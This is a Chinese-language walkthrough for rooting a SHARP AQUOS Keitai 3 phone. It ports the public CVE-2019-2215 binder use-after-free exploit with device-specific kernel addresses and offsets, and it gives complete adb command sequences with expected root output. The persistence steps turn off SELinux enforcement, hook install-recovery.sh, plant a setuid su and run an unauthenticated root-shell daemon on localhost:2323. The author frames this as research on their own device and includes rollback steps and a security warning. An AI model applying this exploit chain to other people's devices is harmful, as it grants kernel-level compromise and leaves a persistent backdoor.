设备:SHARP SG805SH/NP805SH/AQUOS ケータイ3
平台:Qualcomm MSM8909 | Android 8.1.0 | Linux 3.18.71-perf
结果:重启自动生效的完整 capabilities root,无需再运行 exploit。
用厂商公开的内核源码逐字节复现编译 → 从带 DWARF 的 vmlinux 导出结构体偏移 → 移植 CVE-2019-2215 拿临时 root → (SELinux 策略 + install-recovery.sh 钩子 + rootd 守护进程)永久化。
1. 资源
资源
地址
说明
Sharp OSS 页面
https://k-tai.sharp.co.jp/support/developers/oss/aquos-keitai3/index.html
必须用**商品名「AQUOS ケータイ3」**检索,型番 SG805SH 搜不到
内核源码
http://ad-dl02.4sh.jp/developers/oss/aquos-keitai3/index_v2/download/AQUOS_keitai3_S0018.tar.gz
171,646,693 字节,md5 d0a7aa6d16cf9441731f61697660f88d
ARM 工具链
AOSP prebuilts arm-eabi-4.8(android-8.1.0_r1 分支)
与设备编译器版本一致
CVE-2019-2215 报告
Project Zero issue 1942
Jann Horn & Maddie Stone
ARM32 移植 ★
https://github.com/flipphoneguy/root-sonim-xp3800
946 行,含 docs/arm32-port.md,本文 exploit 基于它
3.18 PoC 参考
CrackerCat/cve2019-2215-3.18、Karma2424/cve2019-2215-3.18
3.18 分支专用
基础 PoC
timwr/CVE-2019-2215
流传最广的版本
2. 复现官方内核
没有正确的内核符号地址无从定位 exploit ,selinux_enforcing 与 cred 偏移。MSM8909 已 EOL,但 Sharp 公开了源码。
2.1 环境
WSL2 / Ubuntu 22.04(.wslconfig 设 networkingMode=mirrored)
arm-eabi-4.8(AOSP prebuilts)、pahole、secilc
2.2 配置与编译
设备原厂内核配置位于 /proc/config.gz(4375 行,世界可读),直接套用:
tar xzf AQUOS_keitai3_S0018.tar.gz \
"AQUOS_keitai3_S0018/LINUX/android/kernel/msm-3.18"
cp device.config ./msm-3.18/.config
make ARCH=arm CROSS_COMPILE=$TC olddefconfig
配置:
CONFIG_RANDOMIZE_BASE ❌ → 无 KASLR,内核地址固定
CONFIG_SLAB_FREELIST_RANDOM ❌ → 堆风水可控
CONFIG_DEBUG_INFO ✅ → vmlinux 自带 DWARF
CONFIG_KALLSYMS_ALL ✅
编译命令:
export KBUILD_BUILD_USER=sharp
export KBUILD_BUILD_HOST=TG840314
export KBUILD_BUILD_VERSION=1
export KBUILD_BUILD_TIMESTAMP="Thu Oct 24 03:44:25 JST 2019" # ★ 必须逐字一致
HCF="-Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer -std=gnu89 -fcommon"
make ARCH=arm CROSS_COMPILE=$TC CC=${TC}gcc HOSTCFLAGS="$HCF" -j20 vmlinux
四个编译问题:
scripts/gcc-wrapper.py 是 Python2 → 命令行覆盖 CC=${TC}gcc
dtc 报 yylloc 多重定义(GCC10+ 默认 -fno-common)→ HOSTCFLAGS 补 -fcommon
msm_sensor.h 找不到头文件 → sensor/io/Makefile 补 -I
f_midi.c 找不到 u_f.h → drivers/usb/gadget/Makefile 补 -I
关键:KBUILD_BUILD_TIMESTAMP 必须与设备构建时间逐字一致。版本串长度哪怕差一个字符,.data 段整体偏移,符号地址全废。
2.3 一致性验证(决定性一步)
strings vmlinux | grep -m1 'Linux version'
# 期望:
# Linux version 3.18.71-perf (sharp@TG840314) (gcc version 4.8 (GCC) )
# #1 SMP PREEMPT Thu Oct 24 03:44:25 JST 2019
版本串逐字节一致还不够。设备 /proc/kallsyms 有 131,900 条符号,本地 System.map 有 128,305 条,最长连续匹配块达到 26,055 个符号。拿到 root 后用真机地址最终核对:
符号
本地 System.map
设备运行值
commit_creds
c0138e84
c0138e84
selinux_enforcing
c146ef24
c146ef24
init_cred
c13171d0
c13171d0
sys_call_table
c0106b84
c0106b84
3. 导出结构体偏移
CONFIG_DEBUG_INFO=y 的 vmlinux 自带完整 DWARF,直接用 pahole 读:
pahole -C binder_thread vmlinux
pahole -C task_struct vmlinux
pahole -C thread_info vmlinux
pahole -C cred vmlinux
实测结果:
struct binder_thread size 0x134 (308) → 落在 kmalloc-512
wait_queue_head_t wait 0x50
struct task_struct *task 0x130 ← UAF 后残留,可泄露
struct task_struct
void *stack 0x004
const struct cred *cred 0x3AC ← ★ 需要替换
struct thread_info
addr_limit 0x008
struct cred
uid 0x004, securebits 0x024,
cap_inheritable 0x028, cap_permitted 0x030,
cap_effective 0x038, cap_bset 0x040, cap_ambient 0x048
4. 移植 CVE-2019-2215
4.1
CVE-2019-2215 是 binder 驱动的 use-after-free。MSM8909 EOL 后厂商没有把 binder 修复 backport 到 3.18 的 MSM8909 分支。审计 drivers/staging/android/binder.c 确认:
poll_wait(filp, &thread->wait, wait); // 脆弱写法依然存在
// binder_thread_release() 里缺少:
// wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
检查项
结果
POLLFREE 出现次数
0
EPOLLFREE 出现次数
0
/dev/binder 权限
crw-rw-rw-(任意进程可打开)
对照:较新机型(如 SH-03M)的源码里 POLLFREE 存在,走不通。
4.2 只改 2 个常量
基于 flipphoneguy/root-sonim-xp3800 的 ARM32 移植版,仅需改两处:
#define SELINUX_ENFORCING 0xc146ef24ul /* 原值 0xc1310ae8 */
#define OFFSET__task_struct__cred 0x3AC /* 原值 0x39C */
其余偏移与本机完全一致:
BINDER_THREAD_SZ 0x134
WAITQUEUE_OFFSET 0x50
IOVEC_ARRAY_SZ 38 (0x134 / 8)
IOVEC_INDX_FOR_WQ 10 (0x50 / 8,ARM32 下正好对齐)
4.3 编译
arm-linux-gnueabi-gcc -static -O2 -w -o exploit_arm exploit.c
# 产物:673,424 字节,ELF32 ARM,静态链接
ARM32 对齐、管道时序、两阶段泄露的细节见仓库 docs/arm32-port.md,不再展开。
5. 获取临时 Root
adb push exploit_arm /data/local/tmp/
adb shell chmod 755 /data/local/tmp/exploit_arm
adb shell /data/local/tmp/exploit_arm id
预期输出:
[*] CVE-2019-2215 exploit for SHARP AQUOS Keitai 3 (SG805SH/NP805SH)
[*] start uid=2000 euid=2000
[+] ===== ROOT ===== uid=0 euid=0 gid=0
uid=0(root) gid=0(root) groups=0(root)
getenforce → Permissive
️ exploit 存在竞态,约 1/5 概率导致内核 panic 重启(只会重启,不会变砖)。多试几次即可。
临时 root 只在本次进程树内有效,重启就没了——真正的工作在永久化。
6. 永久化:三件套
6.0
Android 权限是三层叠加,缺任何一层都拿不到「完整 root」:
层
障碍
现象
解法
SELinux(domain)
shell 域没有 capability setuid
avc: denied { setuid },想写 enforce 又被拒(鸡生蛋)
改策略,把 shell / install_recovery 域设为 permissive
capability(bounding set)
adbd 的 bounding set 只有 0xc0
setuid 二进制无论如何突破不了
让 init 启动守护进程,继承完整的 0x3fffffffff
DAC(uid)
需要 root uid
—
前两者解决后自然获得
实测证据:
adbd(shell): CapBnd = 00000000000000c0 ← 只有 setgid / setuid
init(pid 1): CapBnd = 0000003fffffffff ← 完整 38 个能力
这解释了为什么单纯做一个 setuid su 不行——uid 变成 0 但能力位不够,mount、读 /data/data 等依旧失败。
6.1 A:SELinux 策略改造
可行性前提:/system 无 dm-verity、无 AVB;init 优先加载预编译策略;plat 与 vendor 侧的 .sha256 内容相同(都指向未修改的 CIL),init 判定「预编译策略有效」直接加载 /vendor 里替换的那份。
# 1) 用临时 root 拉取原始策略集合
adb shell "/data/local/tmp/exploit_arm sh -c \
'cp -r /system/etc/selinux /data/local/tmp/selinux; chmod -R 777 /data/local/tmp/selinux'"
adb pull /data/local/tmp/selinux ./selinux
adb pull /vendor/etc/selinux/precompiled_sepolicy ./precompiled_orig.bin
# 2) 在 plat_sepolicy.cil 末尾追加两行
cat >> selinux/plat_sepolicy.cil <<'EOF'
(typepermissive shell)
(typepermissive install_recovery)
EOF
# 3) 编译(★ 策略版本必须 30,对应 3.18 的 POLICYDB_VERSION_MAX)
secilc -c 30 -o final_policy.bin \
selinux/plat_sepolicy.cil \
selinux/mapping/27.0.cil \
selinux/nonplat_sepolicy.cil
# 产物:435,814 字节
风险控制:一定要先在 PC 侧用 secilc 完整编译验证通过再推到设备。策略语法错误可能导致无法开机。
6.2 B:开机钩子 install-recovery.sh
/init.rc 里有一个 oneshot 服务,以 init 身份执行脚本(没有 seclabel,不做域转换):
service flash_recovery /system/bin/install-recovery.sh
class main
oneshot
脚本末尾追加,即可拿到完整 bounding set,顺便设 permissive:
# --- 永久 root:设 permissive + 启动 root shell 守护进程 ---
echo 0 > /sys/fs/selinux/enforce
/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &
保留原逻辑只追加这段;权限 750,标签 u:object_r:install_recovery_exec:s0。
6.3 C:root 守护进程 rootd
极简静态 C 程序(591,088 字节),监听 127.0.0.1:<port>,每个连接 fork 一个 shell:
bind(... INADDR_LOOPBACK ...);
accept → fork → dup2 → execl("/system/bin/sh", "sh", "-i", NULL);
被 init 启动所以继承完整 capabilities——这是「完整 root」的关键。
arm-linux-gnueabi-gcc -static -O2 -w -o rootd rootd.c
7. 部署与验证
7.1 部署顺序(全部通过临时 root 执行)
# 0) 推入产物
adb push final_policy.bin /data/local/tmp/final.policy
adb push rootd /data/local/tmp/rootd
adb push su_arm /data/local/tmp/su_arm
# 1) 替换 SELinux 策略(先备份原始策略)
adb shell "/data/local/tmp/exploit_arm sh -c '\
cp /vendor/etc/selinux/precompiled_sepolicy /data/local/tmp/precompiled_sepolicy.orig; \
mount -o remount,rw /vendor; \
cp /data/local/tmp/final.policy /vendor/etc/selinux/precompiled_sepolicy; \
chown 0:0 /vendor/etc/selinux/precompiled_sepolicy; \
chmod 644 /vendor/etc/selinux/precompiled_sepolicy; \
chcon u:object_r:vendor_file:s0 /vendor/etc/selinux/precompiled_sepolicy; \
sync; mount -o remount,ro /vendor'"
# 2) 修改开机钩子(先备份原文件,再追加 6.2 那段)
adb shell "/data/local/tmp/exploit_arm sh -c '\
mount -o remount,rw /system; \
cp /system/bin/install-recovery.sh /data/local/tmp/install-recovery.sh.orig; \
printf \"\n# --- permanent root ---\necho 0 > /sys/fs/selinux/enforce\n/system/bin/setsid /system/xbin/rootd 2323 </dev/null >/dev/null 2>&1 &\n\" >> /system/bin/install-recovery.sh; \
chown 0:0 /system/bin/install-recovery.sh; chmod 750 /system/bin/install-recovery.sh; \
chcon u:object_r:install_recovery_exec:s0 /system/bin/install-recovery.sh; \
sync; mount -o remount,ro /system'"
# 3) 部署 rootd 与备用 su
adb shell "/data/local/tmp/exploit_arm sh -c '\
mount -o remount,rw /system; \
cp /data/local/tmp/rootd /system/xbin/rootd; \
cp /data/local/tmp/su_arm /system/xbin/su; \
chown 0:0 /system/xbin/rootd /system/xbin/su; \
chmod 755 /system/xbin/rootd; chmod 4755 /system/xbin/su; \
chcon u:object_r:system_file:s0 /system/xbin/rootd /system/xbin/su; \
sync; mount -o remount,ro /system'"
# 4) 重启(此后不再需要 exploit)
adb reboot
7.2 验证
adb forward tcp:2323 tcp:2323
# 连接 127.0.0.1:2323,即得 root shell
期望:
uid=0(root) gid=0(root) groups=0(root) context=u:r:install_recovery:s0
CapEff: 0000003fffffffff ← 完整能力
CapBnd: 0000003fffffffff ← 完整 bounding set
mount -o remount,rw /system → OK
ls /data/data/com.android.settings → OK
cat /proc/kallsyms | grep commit_creds → c0138e84 T commit_creds
8. Root 之后怎么用
adb forward tcp:2323 tcp:2323
PowerShell 一行示例:
$c = New-Object Net.Sockets.TcpClient('127.0.0.1', 2323)
$s = $c.GetStream()
$w = New-Object IO.StreamWriter($s); $w.AutoFlush = $true
$w.WriteLine("id")
Start-Sleep 2
(New-Object IO.StreamReader($s)).ReadToEnd()
两条备用通道:setuid su(uid=0,能力受限)adb shell /system/xbin/su id;exploit(完整 root,约 1/5 概率 panic)adb shell /data/local/tmp/exploit_arm id。
9. 设备上的文件清单
路径
内容
大小 / 权限
/vendor/etc/selinux/precompiled_sepolicy
重编译 permissive 策略
435,814 字节
/system/bin/install-recovery.sh
开机钩子(原逻辑 + 三行追加)
750
/system/xbin/rootd
root shell 守护进程
591,088 字节
/system/xbin/su
setuid root(备用)
590,704 字节(4755)
/data/local/tmp/exploit_arm
CVE-2019-2215 exploit(备用)
673,424 字节
回滚备份:/data/local/tmp/precompiled_sepolicy.orig、/data/local/tmp/install-recovery.sh.orig。
10. 回滚
通过 root shell 执行:
mount -o remount,rw /vendor
cp /data/local/tmp/precompiled_sepolicy.orig /vendor/etc/selinux/precompiled_sepolicy
mount -o remount,ro /vendor
mount -o remount,rw /system
cp /data/local/tmp/install-recovery.sh.orig /system/bin/install-recovery.sh
rm -f /system/xbin/rootd /system/xbin/su
chmod 750 /system/bin/install-recovery.sh
mount -o remount,ro /system
11. 安全提醒
Root 之后设备安全性明显下降:SELinux 全局 Permissive;shell / install_recovery 域在策略层面被设为 permissive;/system/xbin/su 是 setuid-root,任何能执行它的进程都能拿到 uid 0;rootd 在 127.0.0.1:2323 提供无认证 root shell;/vendor 与 /system 已被修改。请只在自己的设备上操作,需要恢复请见第 10 节。
12. 复盘:为什么这台机器能成
「设备真名」决定检索成败——型番 SG805SH 一无所获,商品名「AQUOS ケータイ3」就能找到官方内核源码;
EOL 芯片的补丁缺口——MSM8909 停更,厂商没有 backport binder 补丁,CVE-2019-2215 可用;
Android 权限是三层叠加——DAC / capability bounding set / SELinux,任缺一层都拿不到「完整 root」;本文分别用 setuid、init 启动、策略修改把三层补齐;
精确复现内核是前提——和真机逐字节对齐的符号地址,exploit 才不需要盲猜;
CONFIG_DEBUG_INFO=y 的 vmlinux 是宝库——pahole 直接读出所有结构体偏移。
本文为安全研究与设备修复目的撰写,所有操作均在自己的设备上进行。